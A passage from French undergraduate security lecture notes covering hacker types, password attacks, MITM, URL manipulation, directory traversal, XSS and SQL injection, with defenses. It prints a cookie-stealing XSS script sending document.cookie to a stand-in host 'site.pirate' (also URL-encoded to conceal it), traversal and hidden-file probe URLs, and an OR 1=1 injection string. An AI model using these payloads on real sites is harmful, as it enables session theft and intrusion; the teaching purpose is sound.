particulier les cartes bancaires) pour en comprendre le fonctionnement et en
exploiter les failles. Le terme carding désigne le piratage de cartes à puce.
• Les « crackers » ne sont pas des biscuits apéritifs au fromage mais des
personnes dont le but est de créer des outils logiciels permettant d'attaquer des
systèmes informatiques ou de casser les protections contre la copie des
logiciels payants. Un « crack » est ainsi un programme créé exécutable chargé
de modifier (patcher) le logiciel original afin d'en supprimer les protections.
• Les « hacktivistes » (contraction de hackers et activistes que l'on peut
traduire en cybermilitant ou cyberrésistant), sont des hackers dont la
motivation est principalement idéologique. Ce terme a été largement porté par
la presse, aimant à véhiculer l'idée d'une communauté parallèle (qualifiée
généralement de underground, par analogie aux populations souterraines des
films de science-fiction.

Dans la réalité ce type de distinction n'est bien évidemment pas aussi nette,
dans la mesure où certains (white hat) hackers ont parfois été black hat
hackers auparavant et parfois inversement. Les habitués des listes de diffusion et
des forums voient souvent des sujets à propos de la différence qu'il convient de
faire entre pirate et hacker. Le terme de troll est généralement utilisé pour
désigner les sujets délicats déclenchant un engouement dans les réponses.

Quelques exemples de trolls :

• je me suis fait pirater par un hacker


• Windows est-il plus robuste que Mac ?
• Mieux vaut-il utiliser PHP ou ASP ?
• etc.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 55
5.5.2. Objectifs poursuivis

Les motivations des black hat hackers (« pirates ») peuvent être multiples :

• l'attrait de l'interdit ;
• l'intérêt financier ;
• l'intérêt politique ;
• l'intérêt éthique ;
• le désir de la renommée ;
• la vengeance ;
• l'envie de nuire (détruire des données, empêcher un système de fonctionner).

Les objectifs des white hat hackers (« hackers ») sont en règle générale un des
suivants :

• l'apprentissage ;
• l'optimisation des systèmes informatiques ;
• la mise à l'épreuve des technologies jusqu'à leurs limites afin de tendre vers
un idéal plus performant et plus sûr.

5.6. Culture du « Z »

Voici un certain nombre de définitions propres au milieu « underground »:

• Warez : piratage de logiciels ;


o Appz (contraction de applications et warez) : piratage d'applications ;
o Gamez (contraction de games et warez) : piratage de jeux vidéos.
• Serialz (contraction de serials et warez) : il s'agit de numéros de série
permettant d'enregistrer illégalement des copies de logiciels commerciaux ;
• Crackz (contraction de cracks et warez) : ce sont des programmes écrits par
des crackers, destinés à supprimer de manière automatique les systèmes de
protection contre la copie des applications commerciales.

5.7. Le langage « C0wb0y »

Les adeptes de la communication en temps réél (IRC, chat, messagerie


instantanée) se sont sûrement déjà retrouvés engagés dans une discussion avec un
utilisateur s'exprimant dans une langue peu commune, dans laquelle les voyelles
sont remplacées par des chiffres.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 56
Ce langage, particulièrement utilisé par les script kiddies dans le milieu
underground, se nomme le langage « c0wb0y ». Il consiste à remplacer certaines
lettres (la plupart du temps des voyelles) par des chiffres afin de donner une
impression aux interlocuteurs d'une certaine maîtrise des technologies et des
techniques de hacking. Voici quelques substitutions possibles :

• E=3
• A=4
• B=8
• O=O
• N=/\/
• I=|
Voici ce que cela donne sur des mots courants :

• Abeille = 4B3|ll3
• Tomate = T0m4t3

5.8. Attaques cryptographiques

5.8.1. Les mots de passe

Lors de la connexion à un système informatique, celui-ci demande la plupart du


temps un identifiant (en anglais login ou username) et un mot de passe (en
anglais password) pour y accéder. Ce couple identifiant/mot de passe forme ainsi
la clé permettant d'obtenir un accès au système.

Si l'identifiant est généralement automatiquement attribué par le système ou


son administrateur, le choix du mot de passe est souvent laissé libre à l'utilisateur.
Ainsi, la plupart des utilisateurs, estimant qu'ils n'ont rien de vraiment secret à
protéger, se contentent d'utiliser un mot de passe facile à retenir (par exemple leur
identifiant, le prénom de leur conjoint ou leur date de naissance).

Or, si les données sur le compte de l'utilisateur n'ont pas un caractère


stratégique, l'accès au compte de l'utilisateur peut constituer une porte ouverte
vers le système tout entier. En effet, dès qu'un pirate obtient un accès à un compte
d'une machine, il lui est possible d'élargir son champ d'action en obtenant la liste
des utilisateurs autorisés à se connecter à la machine. A l'aide d'outils de
génération de mots de passe, le pirate peut essayer un grand nombre de mots de
passe générés aléatoirement ou à l'aide d'un dictionnaire (éventuellement une

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 57
combinaison des deux). S'il trouve par hasard le mot de passe de l'administrateur,
il obtient alors toutes les permissions sur la machine !

De plus, à partir d'une machine du réseau, le pirate peut éventuellement


obtenir un accès sur le réseau local, ce qui signifie qu'il peut dresser une
cartographie des autres serveurs côtoyant celui auquel il a obtenu un accès.

Les mots de passe des utilisateurs représentent donc la première défense


contre les attaques envers un système, c'est la raison pour laquelle il est nécessaire
de définir une politique en matière de mots de passe afin d'imposer aux utilisateurs
le choix d'un mot de passe suffisamment sécurisé.

5.8.2. Méthodes d’attaque

La plupart des systèmes sont configurés de manière à bloquer temporairement le


compte d'un utilisateur après un certain nombre de tentatives de connexion
infructueuses. Ainsi, un pirate peut difficilement s'infiltrer sur un système de cette
façon.

En contrepartie, un pirate peut se servir de ce mécanisme d'auto-défense pour


bloquer l'ensemble des comptes utilisateurs afin de provoquer un déni de service.

Sur la plupart des systèmes les mots de passe sont stockés de manière chiffrée
(« cryptée ») dans un fichier ou une base de données.

Néanmois, lorsqu'un pirate obtient un accès au système et obtient ce fichier,


il lui est possible de tenter de casser le mot de passe d'un utilisateur en particulier
ou bien de l'ensemble des comptes utilisateurs.

5.8.3. Attaque par force brute

On appelle ainsi « attaque par force brute » (en anglais « brute force cracking »,
parfois également attaque exhaustive) le cassage d'un mot de passe en testant tous
les mots de passe possibles. Il existe un grand nombre d'outils, pour chaque
système d'exploitation, permettant de réaliser ce genre d'opération. Ces outils
servent aux administrateurs système à éprouver la solidité des mots de passe de
leurs utilisateurs mais leur usage est détourné par les pirates informatiques pour
s'introduire dans les systèmes informatiques.

5.8.4. Attaque par dictionnaire

Les outils d'attaque par force brute peuvent demander des heures, voire des jours,
de calcul même avec des machines équipées de processeurs puissants. Ainsi, une

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 58
alternative consiste à effectuer une « attaque par dictionnaire ». En effet, la plupart
du temps les utilisateurs choisissent des mots de passe ayant une signification
réelle. Avec ce type d'attaques, un tel mot de passe peut être craqué en quelques
minutes.

5.8.5. Attaque hybride

Le dernier type d'attaques de ce type, appelées « attaques hybrides », vise


particulièrement les mots de passe constitué d'un mot traditionnel et suivi d'une
lettre ou d'un chiffre (tel que « marechal6 »). Il s'agit d'une combinaison d'attaque
par force brute et d'attaque par dictionnaire.

Il existe enfin des moyens permettant au pirate d'obtenir les mots de passe
des utilisateurs :

• Les key loggers (littéralement « enregistreurs de touches »), sont des logiciels
qui, lorsqu'ils sont installés sur le poste de l'utilisateur, permettent
d'enregistrer les frappes de claviers saisies par l'utilisateur. Les systèmes
d'exploitation récents possèdent des mémoires tampon protégées permettant
de retenir temporairement le mot de passe et accessibles uniquement par le
système.
• L'ingénierie sociale consiste à exploiter la naïveté des individus pour obtenir
des informations. Un pirate peut ainsi obtenir le mot de passe d'un individu en
se faisant passer pour un administrateur du réseau ou bien à l'inverse appeler
l'équipe de support en demandant de réinitialiser le mot de passe en prétextant
un caractère d'urgence ;
• L'espionnage représente la plus vieille des méthodes. Il suffit en effet
parfois à un pirate d'observer les papiers autour de l'écran de l'utilisateur ou
sous le clavier afin d'obtenir le mot de passe. Par ailleurs, si le pirate fait
partie de l'entourage de la victime, un simple coup d'oeil par dessus son
épaule lors de la saisie du mot de passe peut lui permettre de le voir ou de le
deviner.

5.9. Choix du mot de passe

Il est aisément compréhensible que plus un mot de passe est long, plus il est
difficile à casser. D'autre part, un mot de passe constitué uniquement de chiffres
sera beaucoup plus simple à casser qu'un mot de passe contenant des lettres :

Un mot de passe de 4 chiffres correspond à 10 000 possibilités (10 4). Si ce


chiffre paraît élevé, un ordinateur doté d'une configuration modeste est capable
de le casser en quelques minutes.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 59
On lui préfèrera un mot de passe de 4 lettres, pour lequel il existe 456972
possibilités (264). Dans le même ordre d'idée, un mot de passe mêlant chiffres et
lettres, voire également des majuscules et des caractères spéciaux sera encore plus
difficile à casser.

Mots de passe à éviter :

• votre identifiant
• votre nom
• votre prénom ou celui d'un proche (conjoint, enfant, etc.) ;
• un mot du dictionnaire ;
• un mot à l'envers (les outils de cassage de mots de passe prennent en
compte cette possibilité) ;
• un mot suivi d'un chiffre, de l'année en cours ou d'une année de
naissance (par exemple « password1999 »).

5.9.1. Politique en matière de mot de passe

L'accès au compte d'un seul employé d'une entreprise peut compromettre la


sécurité globale de toute l'organisation. Ainsi, toute entreprise souhaitant garantir
un niveau de sécurité optimal se doit de mettre en place une réelle politique de
sécurité de matière de mots de passe. Il s'agit notamment d'imposer aux employés
le choix d'un mot de passe conforme à certaines exigences, par exemple :

• Une longueur de mot de passe minimale


• La présence de caractères particuliers
• Un changement de casse (minuscule et majuscule)

Par ailleurs, il est possible de renforcer cette politique de sécurité en


imposant une durée d'expiration des mots de passe, afin d'obliger les utilisateurs
à modifier régulièrement leur mot de passe. Cela complique ainsi la tâche des
pirates essayant de casser des mots de passe sur la durée. Par ailleurs il s'agit d'un
excellent moyen de limiter la durée de vie des mots de passe ayant été cassés.

Enfin, il est recommandé aux administrateurs système d'utiliser des logiciels


de cassage de mots de passe en interne sur les mots de passe de leurs utilisateurs
afin d'en éprouver la solidité. Ceci doit néanmoins se faire dans le cadre de la
politique de sécurité et être écrit noir sur blanc, afin d'avoir l'approbation de la
direction et des utilisateurs.

5.9.2. Mots de passe multiples

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 60
Il n'est pas sain d'avoir un seul mot de passe, au même titre qu'il ne serait pas sain
d'avoir comme code de carte bancaire le même code que pour son téléphone
portable et que le digicode en bas de l'immeuble.

Il est donc conseillé de posséder plusieurs mots de passe par catégorie


d'usage, en fonction de la confidentialité du secret qu'il protège. Le code d'une
carte bancaire devra ainsi être utilisé uniquement pour cet usage. Par contre, le
code PIN d'un téléphone portable peut correspondre à celui du cadenas d'une
valise.

De la même façon, lors de l'inscription à un service en ligne demandant une


adresse électronique, il est fortement déconseillé de choisir le même mot de passe
que celui permettant d'accéder à cette messagerie car un administrateur peu
scrupuleux, pourrait sans aucun problème avoir un œil sur votre vie privée !

5.10. Attaque man in the middle

L'attaque « man in the middle » (littéralement « attaque de l'homme au milieu »


ou « attaques de l'intercepteur »), parfois notée MITM, est un scénario d'attaque
dans lequel un pirate écoute une communication entre deux interlocuteurs et
falsifie les échanges afin de se faire passer pour l'une des parties.

La plupart des attaques de type « man in the middle » consistent à écouter le


réseau à l'aide d'un outil appelé sniffer.

5.11. Attaque par rejeu

Les attaques par « rejeu » (en anglais « replay attaque ») sont des attaques de
type « Man in the middle » consistant à intercepter des paquets de données et à
les rejouer, c'est-à-dire les retransmettre tels quel (sans aucun déchiffrement) au
serveur destinataire.

Ainsi, selon le contexte, le pirate peut bénéficier des droits de l'utilisateur.


Imaginons un scénario dans lequel un client transmet un nom d'utilisateur et un
mot de passe chiffrés à un serveur afin de s'authentifier. Si un pirate intercepte la
communication (grâce à un logiciel d'écoute) et rejoue la séquence, il obtiendra
alors les mêmes droits que l'utilisateur. Si le système permet de modifier le mot
de passe, il pourra même en mettre un autre, privant ainsi l'utilisateur de son accès.

5.12. Vulnérabilité des services web

Les premières attaques réseau exploitaient des vulnérabilités liées à


l'implémentation des protocoles de la suite TCP/IP. Avec la correction
Sécurité informatique en L2 Informatique.
Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 61
progressive de ces vulnérabilités les attaques se sont décalées vers les couches
applicatives et en particulier le web, dans la mesure où la plupart des entreprises
ouvrent leur système pare-feu pour le traffic destiné au web.

Le protocole HTTP (ou HTTPS) est le standard permettant de véhiculer les


pages web par un mécanisme de requêtes et de réponses. Utilisé essentiellement
pour transporter des pages web informationnelles (pages web statiques), le web
est rapidement devenu un support interactif permettant de fournir des services en
ligne. Le terme d'« application web » désigne ainsi toute application dont
l'interface est accessible à travers le web à l'aide d'un simple navigateur. Devenu
le support d'un certain nombre de technologies (SOAP, Javascript, XML RPC,
etc.), le protocole HTTP possède désormais un rôle stratégique certain dans la
sécurité des systèmes d'information.

Dans la mesure où les serveurs web sont de plus en plus sécurisés, les
attaques se sont progressivement décalées vers l'exploitation des failles des
applications web.

Ainsi, la sécurité des services web doit être un élément pris en compte dès
leur conception et leur développement.

5.12.1. Types de vulnérabilités

Les vulnérabilités des applications web peuvent être catégorisées de la


manière suivante :

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 62
• Vulnérabilités du serveur web. Ce type de cas est de plus en plus rare
car au fur et à mesure des années les principaux développeurs de
serveurs web ont renforcé leur sécurisation ;
• Manipulation des URL, consistant à modifier manuellement les
paramètres des URL afin de modifier le comportement attendu du
serveur web ;
• Exploitation des faiblesses des identifiants de session et des
mécanismes d'authentification ;
• Injection de code HTML et Cross-Site Scripting ;
• Injection de commandes SQL.

5.12.2. La nécessaire vérification des données d’entrée

Le protocole HTTP est par nature prévu pour gérer des requêtes, c'est-à-dire
recevoir des données en entrée et envoyer des données en retour. Les données
peuvent être envoyées de diverses façons :

• Via l'URL de la page web


• Dans les en-têtes HTTP
• Dans le corps de la requête (requête POST)
• Via un cookie

Le principe de base à retenir d'une manière générale lors de tout


développement informatique est qu'il ne faut pas faire confiance aux données
envoyées par le client.

Ainsi, la quasi-totalité des vulnérabilités des services web est liée aux
négligences des concepteurs, ne faisant pas de vérifications sur le format des
données saisies par les utilisateurs.

5.12.3. Impact des attaques web

Les attaques à l'encontre des applications web sont toujours nuisibles car elles
donnent une mauvaise image de l'entreprise. Les conséquences d'une attaque
réussie peuvent notamment être une des suivantes :

• Défacement de site web ;


• Vol d'informations ;
• Modification de données, notamment modification de données
personnelles d'utilisateurs ;
• Intrusion sur le serveur web.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 63
La plupart des attaques d'applications web consistent à solliciter le site avec
des données saisies manuellement afin de provoquer un contexte non prévu.

5.12.4. Paramètres des applications web

Le protocole HTTP, support de la communication sur le web, permet de véhiculer


des paramètres sous formes de requêtes de plusieurs façons :

• Cookies ;
• Champs de formulaires ;
• URL ;
• En-têtes HTTP.

Il est essentiel de comprendre que tous ces moyens de transmission de


données peuvent être manipulés sans problème par un utilisateur et par conséquent
que les données utilisateurs ne doivent pas être considérées comme fiables.
De cette manière, il est impossible de baser la sécurité sur des contrôles réalisé du
côté du client (valeurs proposées par un formulaire HTML ou par codes Javascript
vérifiant l'exactitude des données).

De plus, l'établissement d'une connexion SSL ne protège en rien contre la


manipulation des données transmises, elle ne fait que certifier la confidentialité
du transport de l'information entre l'utilisateur final et le site web.

Ainsi, tout concepteur d'application web doit nécessairement effectuer un


contrôle des données, tant sur leur valeur (minimum et maximum pour une
donnée numérique, contrôle des caractères pour une chaîne), que sur leur type et
leur longueur.

5.13. Introduction aux URL

L'URL (Uniform Resource Locator) d'une application web est le vecteur


permettant d'indiquer la ressource demandée. Il s'agit d'une chaîne de
caractères ASCII imprimables qui se décompose en cinq parties :

• Le nom du protocole : c'est-à-dire en quelque sorte le langage utilisé pour


communiquer sur le réseau. Le protocole le plus largement utilisé est
le protocole HTTP(HyperText Transfer Protocol), le protocole permettant
d'échanger des pages Web au format HTML. De nombreux autres protocoles
sont toutefois utilisables (FTP, News, Mailto, etc.)

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 64
• Identifiant et mot de passe : permet de spécifier les paramètres d'accès à un
serveur sécurisé. Cette option est déconseillée car le mot de passe circule en clair
dans l'URL
• Le nom du serveur : Il s'agit du nom de domaine de l'ordinateur hébergeant la
ressource demandée. Notez qu'il est possible d'utiliser l'adresse IP du serveur.
• Le numéro de port : il s'agit d'un numéro associé à un service permettant au
serveur de savoir quel type de ressource est demandé. Le port associé par défaut
au protocole est le port numéro 80. Ainsi, lorsque le service Web du serveur est
associé au numéro de port 80, la spécification du numéro de port est facultative.
• Le chemin d'accès à la ressource : Cette dernière partie permet au serveur de
connaître l'emplacement auquel la ressource est située, c'est-à-dire de manière
générale l'emplacement (répertoire) et le nom du fichier demandé.
Une URL possède la structure suivante :
Mot de passe Port
Protocole Nom du serveur Chemin
(facultatif) (facultatif si 80)

http:// user:password@ www.commentcamarche.net :80 /glossair/glossair.php3

L'URL peut permettre de transmettre des paramètres au serveur en faisant suivre


le nom de fichier par un point d'interrogation, puis de données au format ASCII.
Une URL est ainsi une chaîne de caractères selon le format suivant :

http://www.commentcamarche.net/forum/?cat=1&page=2

5.13.1. Manipulation d’URL

En manipulant certaines parties d'une URL, un pirate peut amener un serveur web
à délivrer des pages web auxquelles il n'est pas censé avoir accès.

En effet, sur les sites web dynamiques les paramètres sont la plupart passés
au travers de l'URL de la manière suivante :

http://cible/forum/?cat=2

Les données présentes dans l'URL sont créées automatiquement par le site et
lors d'une navigation normale un utilisateur ne fait que cliquer sur les liens
proposés par le site web. Ainsi, si un utilisateur modifie manuellement le
paramètre, il peut essayer différentes valeurs, par exemple :

http://cible/forum/?cat=6

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 65
Si le concepteur n'a pas anticipé cette éventualité, le pirate peut
éventuellement obtenir un accès à un espace normalement protégé.

Par ailleurs, le pirate peut amener le site à traiter un cas inattendu, par
exemple :

http://cible/forum/?cat=***********
Dans le cas ci-dessus, si le concepteur du site n'a pas prévu le cas où la
donnée n'est pas un chiffre, le site peut entrer dans un état non prévu et révéler
des informations dans un message d'erreur.

5.13.2. Tâtonnement à l’aveugle

Un pirate peut éventuellement tester des répertoires et des extensions de fichier à


l'aveugle, afin de trouver des informations importantes. Voici quelques exemples
classiques :

• Recherche de répertoires permettant d'administrer le site :


• http://cible/admin/
http://cible/admin.cgi
• Recherche de script permettant de révéler des informations sur le système
distant :
http://cible/phpinfo.php3
• Recherche de copies de sauvegardes. L'extension .bak est généralement utilisée
et elle n'est pas interprétée par défaut par les serveurs, ce qui peut aboutir à
l'affichage d'un script :
http://cible/.bak
• Recherche de fichiers cachés du système distant. Sous les systèmes UNIX,
lorsque le répertoire racine du site correspond au répertoire d'un utilisateur, il se
peut que des fichiers créés par le système soit accessibles par le web :
• http://cible/.bash_history
http://cible/.htaccess

5.13.3. Traversement de répertoires

Les attaques dites « de traversement de répertoires » (en anglais directory


traversal ou path traversal) consistent à modifier le chemin de l'arborescence
dans l'URL afin de forcer le serveur à accéder à des sections du site non autorisées.

Dans un cas classique, l'utilisateur peut être amené à remonter progressivement


l'arborescence, notamment dans le cas où la ressource n'est pas accessible, par
exemple :

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 66
http://cible/base/test/ascii.php3
http://cible/base/test/
http://cible/base/

Sur les serveurs vulnérables, il suffit de remonter le chemin avec plusieurs chaînes
du type « ../ » :

http://cible/../../../../repertoire/fichier

Des attaques plus évoluées consistent à encoder certains caractères :

• soit sous la forme d'encodage d'URL :


http://cible/..%2F..%2F..%2Frepertoire/fichier
• soit avec une notation Unicode :
http://cible/..%u2216..%u2216repertoire/fichier

De nombreux sites dynamiques passent le nom des pages à afficher en paramètre


sous une forme proche de la suivante :

http://cible/cgi-bin/script.cgi?url=index.htm

Pour peu qu'aucun contrôle ne soit réalisé, il est possible pour un pirate de
modifier l'URL manuellement afin de demander l'accès à une ressource du site
auquel il n'a pas accès directement, par exemple :

http://cible/cgi-bin/script.cgi?url=script.cgi

5.13.4. Parades

Afin de sécuriser un serveur web contre les attaques par manipulation d'URL, il
est nécessaire d'effectuer une veille sur les vulnérabilités et d'appliquer
régulièrement les correctifs fournis par l'éditeur du serveur web.

Par ailleurs, une configuration minutieuse du serveur web permet d'éviter à


un utilisateur de naviguer sur des pages auxquelles il n'est pas censé avoir accès.
Le serveur web doit ainsi être configuré en suivant les consignes suivantes :

• Empêcher le parcours des pages situés en dessous de la racine du site web


(mécanisme de chroot) ;
• Désactiver l'affichage des fichiers présents dans un répertoire ne contenant
pas de fichier d'index (« Directory Browsing ») ;
• Supprimer les répertoires et fichiers inutiles (dont les fichiers cachés) ;

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 67
• S'assurer que le serveur protège l'accès des répertoires contenant des
données sensibles ;
• Supprimer les options de configuration superflues ;
• S'assurer que le serveur interprète correctement les pages dynamiques, y
compris les fichiers de sauvegarde (.bak) ;
• Supprimer les interpréteurs de scripts superflus ;
• Empêcher la consultation en mode HTTP des pages accessibles en HTTPS.

5.14. Injection de code malicieux

Les attaques de type Cross-Site Scripting (notée parfois XSS ou CSS) sont des
attaques visant les sites web affichant dynamiquement du contenu utilisateur sans
effectuer de contrôle et d'encodage des informations saisies par les utilisateurs.
Les attaques Cross-Site Scripting consistent ainsi à forcer un site web à afficher
du code HTML ou des scripts saisis par les utilisateurs. Le code ainsi inclus (le
terme « injecté » est habituellement utilisé) dans un site web vulnérable est dit
« malicieux ».

Il est courant que les sites affichent des messages d'information reprenant
directement un paramètre entré par l'utilisateur. L'exemple le plus classique est
celui des « pages d'erreur 404 ». Certains sites web modifient le comportement du
site web, afin d'afficher un message d'erreur personnalisée lorsque la page
demandée par le visiteur n'existe pas. Parfois la page générée dynamiquement
affiche le nom de la page demandée. Appelons http://site.vulnerable un site
possédant une telle faille. L'appel de l'URL http://site.vulnerable/page-
inexistante correspondant à une page n'existant pas provoquera l'affichage d'un
message d'erreur indiquant que la page « page-inexistante » n'existe pas. Il est
ainsi possible de faire afficher ce que l'on souhaite au site web en remplaçant
« page-inexistante » par toute autre chaîne de caractère.

Ainsi, si aucun contrôle n'est effectué sur le contenu fourni par l'utilisateur,
il est possible d'afficher du code HTML arbitraire sur une page web, afin d'en
changer l'aspect, le contenu ou bien le comportement.

De plus, la plupart des navigateurs sont dotés de la capacité d'interpréter des


scripts contenus dans les pages web, écrits dans différents langages, tel
que JavaScript, VBScript, Java, ActiveX ou Flash. Les balises HTML suivantes
permettent ainsi d'incorporer des scripts exécutables dans une page web :
<SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

Il est ainsi possible à un pirate d'injecter du code arbitraire dans la page web,
afin que celui-ci soit exécuté sur le poste de l'utilisateur dans le contexte de

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 68
sécurité du site vulnérable. Pour ce faire, il lui suffit de remplacer la valeur du
texte destiné à être affiché par un script, afin que celui s'affiche dans la page web.
Pour peu que le navigateur de l'utilisateur soit configuré pour exécuter de tels
scripts, le code malicieux a accès à l'ensemble des données partagées par la page
web de l'utilisateur et le serveur (cookies, champs de formulaires, etc.).

5.14.1. Conséquences

Grâce aux vulnérabilités Cross-Site Scripting, il est possible à un pirate de


récupérer par ce biais les données échangées entre l'utilisateur et le site web
concerné. Le code injecté dans la page web peut ainsi servir à afficher un
formulaire afin de tromper l'utilisateur et lui faire saisir par exemple des
informations d'authentification.

Par ailleurs, le script injecté peut permettre de rediriger l'utilisateur vers une
page sous le contrôle du pirate, possédant éventuellement la même interface
graphique que le site compromis afin de tromper l'usager.

Dans un tel contexte, la relation de confiance existant entre l'utilisateur et le


site web est complètement compromise.

5.14.2. Persistance de l’attaque

Lorsque les données saisies par l'utilisateur sont stockées sur le serveur pendant
un certain temps (cas d'un forum de discussion par exemple), l'attaque est dite
« persistante ». En effet, tous les utilisateurs du site web accès à la page dans
laquelle le code nuisible a été introduit.

Les attaques dites « non persistantes » concernent les pages web


dynamiques dans lesquelles une variable entrée par l'utilisateur est affichée telle
quelle (par exemple l'affichage du nom de l'utilisateur, de la page en cours ou du
mot saisie dans un champ de formulaire). Pour pouvoir exploiter cette
vulnérabilité, l'attaquant doit fournir à la victime une URL modifiée, passant le
code à insérer en paramètre. Néanmoins, une URL contenant des éléments de code
Javascript pourra paraître suspecte à la victime, c'est la raison pour laquelle cette
attaque est la plupart réalisée en encodant les données dans l'URL, afin qu'elle
masque le code injecté à l'utilisateur.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 69
Exemple :

Supposons que la page d'accueil de CommentCaMarche.net soit vulnérable à une


attaque de type Cross-Site Scripting car elle permet d'afficher sur la page d'accueil
un message de bienvenue affichant le nom de l'utilisateur passé en paramètre :

http://www.commentcamarche.net/?nom=Jeff

Une personne malintentionnée peut réaliser une attaque Cross-Site Scripting non
persistance en fournissant à une victime une adresse remplaçant le nom « Jeff »
par du code HTML. Il peut notamment passer en paramètre le code Javascript
suivant, servant à rediriger l'utilisateur vers une page dont il a la maîtrise :

<SCRIPT>
document.location='http://site.pirate/cgi-
bin/script.cgi?'+document.cookie
</SCRIPT>

Le code ci-dessus récupère les cookies de l'utilisateur et les transmet en paramètre


à un script CGI. Un tel code passé en paramètre serait trop visible :

http://www.commentcamarche.net/?nom=<SCRIPT>document.
location
='http://site.pirate/cgi-
bin/script.cgi?'+document.cookie</SCRIPT>

En revanche, l'encodage de l'URL permet de masquer l'attaque :

http://www.commentcamarche.net/?nom=%3c%53%43%52%49%5
0%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70
%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73
%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f
%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 70
5.15. Attaque croisée

5.15.1. Description

Dans l'exemple précédent, l'ensemble du script est passé en paramètre de l'URL.


La méthode GET, permettant de passer des paramètres dans l'URL est limitée à
une longueur totale de 255 caractères pour l'URL. Grâce à l'attribut SRC de la
balise <SCRIPT>, il est possible d'exécuter du code malicieux stocké dans un
script sur un serveur distant ! Dans la mesure où il est ainsi possible d'injecter du
code à partir d'une source distante, ce type d'attaque porte le nom de « Cross-
Site » (« Cross-Site » signifie littéralement « entre sites »).

5.15.2. Protection

Du côté de l'utilisateur, il est possible de se prémunir contre les attaques CSS en


configurant le navigateur de manière à empêcher l'exécution des langages de
scripts. Dans la réalité cette solution est souvent trop contraignante pour
l'utilisateur car de nombreux sites refuseront de fonctionner correctement en
l'absence de possibilité d'exécution de code dynamique.

La seule façon viable d'empêcher les attaques Cross-Site Scripting conssite


à concevoir des sites web non vulnérables. Pour ce faire, le concepteur d'un site
web doit :

• Vérifier le format des données entrées par les utilisateurs ;


• Encoder les données utilisateurs affichées en remplaçant les caractères
spéciaux par leurs équivalents HTML.

Le terme « sanitarisation » (en anglais « sanitation ») désigne toutes les


actions permettant de rendre sûr une donnée saisie par un utilisateur.

5.16. Injection des commandes SQL

Les attaques par injection de commandes SQL sont des attaques visant les sites
web s'appuyant sur des bases de données relationnelles.

Dans ce type de sites, des paramètres sont passés à la base de données sous forme
d'une requête SQL. Ainsi, si le concepteur n'effectue aucun contrôle sur les
paramètres passés dans la requête SQL, il est possible à un pirate de modifier la
requête afin d'accéder à l'ensemble de la base de données, voire à en modifier le
contenu.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 71
En effet, certains caractères permettent d'enchaîner plusieurs requêtes SQL ou
bien ignorer la suite de la requête. Ainsi, en insérant ce type de caractères dans la
requête, un pirate peut potentiellement exécuter la requête de son choix.

Soit la requête suivante, attendant comme paramètre un nom d'utilisateur :

SELECT * FROM utilisateurs WHERE nom="$nom";

Il suffit à un pirate de saisir un nom tel que « toto" OR 1=1 OR nom ="titi » pour
que la requête devienne la suivante :

SELECT * FROM utilisateurs WHERE nom="toto" OR 1=1 OR


nom ="titi";

Ainsi, avec la requête ci-dessus, la clause WHERE est toujours réalisée, ce qui
signifie qu'il retournera les enregistrements correspondant à tous les utilisateurs.

5.16.1. Procédures stockées

De plus, certains systèmes de gestion de bases de données tel que Microsoft SQL
Server possèdent des procédures stockées permettant de lancer des commandes
d'administration. Ces procédures stockées sont potentiellement dangereuses dans
la mesure où elles peuvent permettre à un utilisateur malintentionné d'exécuter
des commandes du système, pouvant conduire à une éventuelle intrusion.

5.16.2. Parades

Un certain nombre de règles permettent de se prémunir des attaques par injection


de commandes SQL :

• Vérifier le format des données saisies et notamment la présence de


caractères spéciaux ;
• Ne pas afficher de messages d'erreur explicites affichant la requête ou une
partie de la requête SQL.
• Supprimer les comptes utilisateurs non utilisées, notamment les comptes
par défaut ;
• Eviter les comptes sans mot de passe ;
• Restreindre au minimum les privilèges des comptes utilisés ;
